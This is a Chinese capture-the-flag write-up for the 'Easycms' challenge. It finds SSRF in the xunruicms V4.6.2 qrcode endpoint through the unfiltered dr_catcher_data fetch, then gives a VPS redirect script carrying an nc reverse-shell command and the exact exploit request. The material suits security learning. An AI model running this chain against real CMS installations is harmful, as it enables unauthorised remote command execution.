Easycms Writeup
原创2024年11月30日...大约 3 分钟
题目描述
简单的 cms,可以扫扫看?
提示 1: /flag.php:
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($\_GET['cmd']);
}
提示 2:github 找一下源码?
使用 dirsearch
扫描后发现了 test.php
访问后可以知道 cms 的版本是 V4.6.2
在 Github 中找到了对应的源码 xunruicms
又根据题目给的提示 /flag.php
,我们需要使用 SSRF 来访问 flag.php
来执行命令
在官网中可以看到在 V4.6.2
之前的版本中存在一个 qrcode
的接口,可以通过这个接口来执行命令,于是我们找到这个函数的所在位置
public function qrcode() {
$value = urldecode(\Phpcmf\Service::L('input')->get('text'));
$thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb'));
$matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size');
$errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level'));
//生成二维码图片
require_once CMSPATH.'Library/Phpqrcode.php';
$file = WRITEPATH.'file/qrcode-'.md5($value.$thumb.$matrixPointSize.$errorCorrectionLevel).'-qrcode.png';
if (is_file($file)) {
$QR = imagecreatefrompng($file);
} else {
\QRcode::png($value, $file, $errorCorrectionLevel, $matrixPointSize, 3);
$QR = imagecreatefromstring(file_get_contents($file));
if ($thumb) {
$logo = imagecreatefromstring(dr_catcher_data($thumb));
$QR_width = imagesx($QR);//二维码图片宽度
$QR_height = imagesy($QR);//二维码图片高度
$logo_width = imagesx($logo);//logo图片宽度
$logo_height = imagesy($logo);//logo图片高度
$logo_qr_width = $QR_width / 4;
$scale = $logo_width/$logo_qr_width;
$logo_qr_height = $logo_height/$scale;
$from_width = ($QR_width - $logo_qr_width) / 2;
//重新组合图片并调整大小
imagecopyresampled($QR, $logo, $from_width, $from_width, 0, 0, $logo_qr_width, $logo_qr_height, $logo_width, $logo_height);
imagepng($QR, $file);
}
}
// 输出图片
ob_start();
ob_clean();
header("Content-type: image/png");
ImagePng($QR);
exit;
}
可以看到 thumb
参数是可以通过 dr_catcher_data
来获取远程图片的
/**
* 调用远程数据
*
* @param string $url
* @param intval $timeout 超时时间,0不超时
* @return string
*/
function dr_catcher_data($url, $timeout = 0) {
// 获取本地文件
if (strpos($url, 'file://') === 0) {
return file_get_contents($url);
}
// curl模式
if (function_exists('curl_init')) {
$ch = curl_init($url);
if (substr($url, 0, 8) == "https://") {
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // 跳过证书检查
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, true); // 从证书中检查SSL加密算法是否存在
}
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// 最大执行时间
$timeout && curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
$data = curl_exec($ch);
$code = curl_getinfo($ch,CURLINFO_HTTP_CODE);
$errno = curl_errno($ch);
if (CI_DEBUG && $errno) {
log_message('error', '获取远程数据失败['.$url.']:('.$errno.')'.curl_error($ch));
}
curl_close($ch);
if ($code == 200) {
return $data;
} elseif ($errno == 35) {
// 当服务器不支持时改为普通获取方式
} else {
return '';
}
}
//设置超时参数
if ($timeout && function_exists('stream_context_create')) {
// 解析协议
$opt = [
'http' => [
'method' => 'GET',
'timeout' => $timeout,
],
'https' => [
'method' => 'GET',
'timeout' => $timeout,
]
];
$ptl = substr($url, 0, 8) == "https://" ? 'https' : 'http';
$data = file_get_contents($url, 0, stream_context_create([
$ptl => $opt[$ptl]
]));
} else {
$data = file_get_contents($url);
}
return $data;
}
再观察到 dr_catcher_data
函数中的 curl
函数没有对 url
进行过滤,我们可以通过构造 thumb
参数来执行命令
我们使用 VPS 构造一个重定向,以此来用 cmd 来反弹 shell
<?php
header('Location:http://127.0.0.1/flag.php?cmd=nc%20vps%2Eip%207714%20%2De%20sh');
?>
构造 Payload
/index.php?s=api&c=api&m=qrcode&text=foo&size=1&level=1&thumb=http://vps:7713/shell.php
成功反弹 Shell
Powered by Waline v3.3.1